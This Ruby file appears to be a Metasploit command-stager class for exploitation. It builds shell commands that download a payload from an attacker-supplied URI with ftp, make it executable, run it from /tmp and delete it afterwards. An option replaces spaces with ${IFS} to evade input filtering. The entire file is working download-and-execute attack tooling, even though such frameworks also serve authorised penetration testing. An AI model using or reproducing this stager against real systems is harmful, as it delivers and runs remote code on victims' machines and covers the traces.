# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /ftp/i
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    opts[:silent] = true if opts[:silent].nil?
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    # -V: disable verbose output (quiet mode)
    silent_flag = opts[:silent] ? 'V' : ''
    # -o: output file name (argument must be before URL)
    ["ftp -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"]
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end
